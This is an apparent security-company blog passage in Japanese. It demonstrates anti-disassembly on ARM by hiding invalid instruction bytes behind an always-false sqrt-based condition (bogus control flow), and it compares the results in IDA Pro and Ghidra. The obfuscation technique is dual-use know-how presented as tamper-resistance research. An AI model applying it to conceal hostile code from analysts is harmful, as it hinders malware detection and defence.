分岐先が一意に定まる、最適化では消えない条件分岐を挿入する方法を組み合わせられます。 次のコードでは、c < sqrt(a*a+b*b)という条件分岐を挿入しています。 abは定数であるため、sqrt(a*a+b*b)の計算結果は一意に定まります。 この条件式は常に偽となるため、if文内のコードは実行されません。 ここに命令として実行できないバイト列を埋め込むことで、ディスアセンブルを妨害します。

コンパイラは、最適化を行う際にsqrt()の結果が5以下であることを計算しないため、この条件分岐は最適化では消えることはありません。 単に意味のない条件分岐を挿入するだけでは最適化で消されますが、実行しなければ結果が分からない関数(ここではsqrt())を組み合わせることで、最適化を回避しています。 意味のない条件分岐を挿入し、無意味なコードを混入させるのは、Bogus Control Flowと呼ばれる制御フローに対する難読化技術です。 ここでは、アンチディスアセンブルのために命令として実行できないバイト列を埋め込んでいますが、処理のロジックの文脈を無視した意味不明な命令を挿入することで制御フローの難読化を強化することもできます。

#include <math.h>
#include <stdio.h>

int main() {
    int a = 3;
    int b = 2;
    int c = 5;
    if (c < sqrt(a*a+b*b)) {
        __asm__ volatile(
            ".long 0x01020304\n"
            ".long 0x05060708\n"
        );
    }
    printf("Hello, world!\n");
    return 0;
}

コンパイルと実行

ARM32向けにプログラムをコンパイルし、実行します。 先ほどと同様のコマンドを用いてコンパイルできますが、math.hを使っているため、リンクのために-lmオプションを指定する必要があります。 ビルドしたプログラムを実行すると正常に動作します。

$ arm-linux-gnueabihf-gcc -marm -o bogus-control-flow32 bogus-control-flow.c -lm
$ QEMU_LD_PREFIX='/usr/arm-linux-gnueabihf/' qemu-arm-static bogus-control-flow32
Hello, world!

ARM64向けの場合でも、先ほどと同様のコマンドでコンパイルできます。 ここでも、-lmオプションを指定する必要があります。

$ aarch64-linux-gnu-gcc -o bogus-control-flow64 bogus-control-flow.c -lm
$ QEMU_LD_PREFIX='/usr/aarch64-linux-gnu/' qemu-aarch64-static bogus-control-flow64
Hello, world!

ディスアセンブル結果の確認

ARM64向けにビルドしたプログラムのディスアセンブル結果を確認してみましょう。 ここでもARM32向けのディスアセンブル結果は割愛します。

IDA Pro

IDA Proでディスアセンブルした結果を確認してみましょう。 アセンブリの中に16進数のバイト列が出現しており、アンチディスアセンブルとして機能していることが確認できます。 ここでもデッドコード部分は、DCQ(Define Constant Quadword)という命令として認識されています。

IDA Proのディスアセンブル結果

先ほどのプログラムではGraph viewで表示することができましたが、今回のプログラムではGraph viewに表示を切り替えようとすると次のエラーが発生しました。 Bogus Control Flowを組み合わせることで、Graph modeでの表示を妨害することができました。

Graph Viewの表示に失敗

Ghidra

Ghidraでもディスアセンブル結果を確認してみましょう。 Ghidraでは、未定義のバイトとして認識されており、アンチディスアセンブルとして機能していることが確認できます。

Ghidraでのディスアセンブル結果

Ghidraでのデコンパイル結果は次のようになりました。 先ほどと同じくデッドコード部分は消されています。 また、驚くことに、条件式が、c < sqrt(a*a+b*b)からc >= sqrt(a*a+b*b)に相当するものに変更されています。 ディスアセンブルできない部分を消去し、ディスアセンブルに成功した部分だけで成り立つように、コードを再構成しているようです。

/* WARNING: Control flow encountered bad instruction data */

undefined8 main(void)

{
  double dVar1;
  
  dVar1 = sqrt(13.0);
  if (dVar1 <= 5.0) {
    puts("Hello, world!");
    return 0;
  }
                    /* WARNING: Bad instruction - Truncating control flow here */
  halt_baddata();
}

WARNING: Control flow encountered bad instruction dataWARNING: Bad instruction - Truncating control flow here という警告がコード中に表示されています。 これはディスアセンブルできなかったデータが含まれており、ディスアセンブルできなかった部分を無視してデコンパイルを続行していることを示しています。 コードの一部がディスアセンブルできないため、その部分を切り捨ててデコンパイルを行っていることが、コメントからも読み取れます。 GhidraのデコンパイラはBogus Control Flowと命令として実行できないバイト列の挿入には強いようです。

まとめ

ドキュメントが少ないARM32/ARM64環境でのアンチディスアセンブル技術を紹介しました。 今回紹介した命令として実行できないバイト列をデッドコードとして埋め込む手法は、アンチディスアセンブルのテクニックとしてはIDA ProとGhidraに対して有効であることが確認できました。 また、Bogus Control Flowを組み合わせることで、IDA ProのGraph viewの表示を妨害することもできました。 しかし、Ghidraに対しては、デコンパイルを妨害する効果はなく、デコンパイル結果は正常に表示されました。 意外なことにGhidraのデコンパイラは、今回紹介した手法に対しては強いようです。

今回のPoCでは8バイトのバイト列を埋め込んだだけですが、大量のバイト列を複数箇所に埋め込むことで解析者を混乱させることができるでしょう。 また、勘のいい読者の方はお気づきかもしれませんが、今回紹介したテクニックはジャンプ命令を書き換える必要があるもののx86/x64でも有効です。

弊社のセキュリティ技術顧問サービスでは、 今回紹介したようなリバースエンジニアリングに関する技術を調査したり、耐タンパ性の向上に活用したりするコンサルティングも行っています。 ご興味のある方は、お気軽にお問い合わせください。

参考資料